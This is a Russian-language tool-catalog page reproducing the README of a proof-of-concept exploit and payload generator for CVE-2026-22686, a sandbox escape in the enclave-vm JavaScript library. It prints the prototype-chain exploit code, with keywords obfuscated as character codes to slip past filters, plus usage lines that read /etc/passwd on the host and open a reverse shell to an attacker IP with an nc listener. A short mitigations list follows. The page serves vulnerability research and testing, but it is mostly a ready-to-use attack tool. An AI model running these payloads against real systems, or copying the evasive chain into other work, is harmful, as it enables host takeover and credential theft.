Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Эксплойт proof-of-concept и генератор полезной нагрузки для CVE-2026-22686 — побег из песочницы в enclave-vm <2.7.0, позволяющий выполнение произвольного кода и обратные оболочки. | Kitploit
Инструменты/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Эксплойт proof-of-concept и генератор полезной нагрузки для CVE-2026-22686 — побег из песочницы в enclave-vm <2.7.0, позволяющий выполнение произвольного кода и обратные оболочки.

Репозиторий
2720 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-22686 — PoC побега из песочницы enclave-vm

CVE CVSS enclave-vm Python License

Доказательство концепции (PoC) эксплойта и генератор полезной нагрузки для CVE-2026-22686 — критической уязвимости побега из песочницы в enclave-vm версий до 2.7.0, позволяющей выполнить произвольный код в хост-среде Node.js.

⚠️ Отказ от ответственности: Этот инструмент предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Использование против систем без предварительного письменного согласия незаконно. Автор не несёт ответственности за любое неправомерное использование.


📖 Содержание

  • Обзор
  • Детали уязвимости
  • Как это работает
  • Установка
  • Использование
  • Анатомия полезной нагрузки
  • Меры защиты
  • Правовая информация
  • Ссылки
  • Автор
  • Лицензия

🔍 Обзор

enclave-vm — это библиотека песочницы JavaScript, предназначенная для безопасного выполнения недоверенного кода в контролируемой среде. В версиях < 2.7.0 ошибка в механизме предоставления хост-объектов ошибок песочнице позволяет злоумышленнику пройти по цепочке прототипов и добраться до хост-конструктора Function, тем самым выйдя из песочницы.

Этот репозиторий содержит:

  • Генератор полезной нагрузки, создающий готовый к вставке JavaScript-код
  • Поддержку выполнения произвольных команд на хосте
  • Поддержку полезных нагрузок обратной оболочки (reverse shell)
  • Двуязычный интерактивный CLI (французский / английский)

🛡️ Детали уязвимости

ПолеЗначение
CVE IDCVE-2026-22686
CVSS v3.110.0 (Критический)
CWECWE-693 — Отказ механизма защиты
Компонентenclave-vm
Уязвимы< 2.7.0
Исправлено в2.7.0
ВоздействиеПобег из песочницы → выполнение произвольного кода (RCE)

Первопричина

Когда вызов инструмента в песочнице завершается ошибкой, enclave-vm предоставляет хост-объект Error обратно в код песочницы. Поскольку этот объект ошибки сохраняет исходную цепочку прототипов из хост-среды, злоумышленник может пройти по цепочке следующим образом:

Экземпляр Error
   └── Error.prototype
        └── Конструктор Error
             └── Конструктор Function  ← хост-функция Function!

Получив хост-конструктор Function, злоумышленник может скомпилировать и выполнить произвольный JavaScript в хост-среде — полностью обойдя песочницу.


⚙️ Как это работает

Эксплойт состоит из следующих шагов:

  1. Вызвать ошибку на стороне хоста, обратившись к несуществующему инструменту (callTool('NONEXISTENT', {})).
  2. Получить объект ошибки из песочницы (он сохраняет ссылку на хост-цепочку прототипов).
  3. Пройти по цепочке прототипов, чтобы добраться до Error.prototype.constructor.constructor — хост-функции Function.
  4. Скомпилировать полезную нагрузку злоумышленника с помощью хост-функции Function и выполнить её.
  5. Полезная нагрузка загружает child_process и выполняет произвольную команду оболочки (или запускает обратную оболочку).

Все чувствительные ключевые слова (constructor, __proto__, __lookupGetter__, prototype) обфусцированы в виде ASCII-кодов символов, чтобы обойти простые статические фильтры.


📦 Установка

Внешних зависимостей нет — используется только стандартная библиотека Python.

git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

Требования:

  • Python 3.8+

🚀 Использование

Интерактивный режим

python3 generator.py

Вас попросят:

  1. Выбрать язык (французский / английский)
  2. Выбрать тип полезной нагрузки (команда или обратная оболочка)
  3. Указать команду / IP / порт

Затем скопируйте сгенерированную полезную нагрузку и вставьте её во входные данные уязвимой песочницы.

Выполнение команд

python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

Обратная оболочка

Терминал 1 (атакующий — слушатель):

nc -lvnp 4444

Терминал 2 (генератор):

python3 generator.py --revshell 10.10.15.152 4444

Скопируйте полученную полезную нагрузку и вставьте её в песочницу. Вы должны получить оболочку в Терминале 1.

Вывод необработанной полезной нагрузки

python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

Опции CLI

ФлагОписание
-c, --commandКоманда оболочки для выполнения
--revshell LHOST LPORTСгенерировать полезную нагрузку обратной оболочки
--rawВывести только полезную нагрузку (без баннера и оформления)
--lang {fr,en}Принудительно задать язык интерфейса
-h, --helpПоказать справку и примеры

🔬 Анатомия полезной нагрузки

1. ASCII-декодер

const s = (...args) => String.fromCharCode(...args);

Небольшой вспомогательный метод для декодирования массивов ASCII-кодов во время выполнения.

2. Обфусцированные ключевые слова

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

Позволяет обойти тривиальные строковые фильтры.

3. Цепочка эксплойта

const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // Хост-конструктор Function
const result = HostFunc(payload)();      // Выполнение произвольного кода

Затем хост-функция Function используется для выполнения команды злоумышленника через child_process.execSync().


🛡️ Меры защиты

Для разработчиков:

  • Обновите enclave-vm до >= 2.7.0.
  • Регулярно проверяйте дерево зависимостей (npm audit, Snyk, Dependabot).
  • Никогда не предоставляйте функции выполнения в песочнице недоверенным входным данным без дополнительной проверки.
  • Запускайте код песочницы в изолированных процессах (например, isolated-vm, gVisor, Firecracker).

Для пользователей / организаций:

  • Следите за устаревшими библиотеками песочниц в продакшене.
  • Ограничьте исходящий сетевой доступ для любого процесса, выполняющего пользовательский код.
  • Применяйте принцип наименьших привилегий: запускайте процессы Node.js не от имени root.

Обнаружение:

Скачать инструмент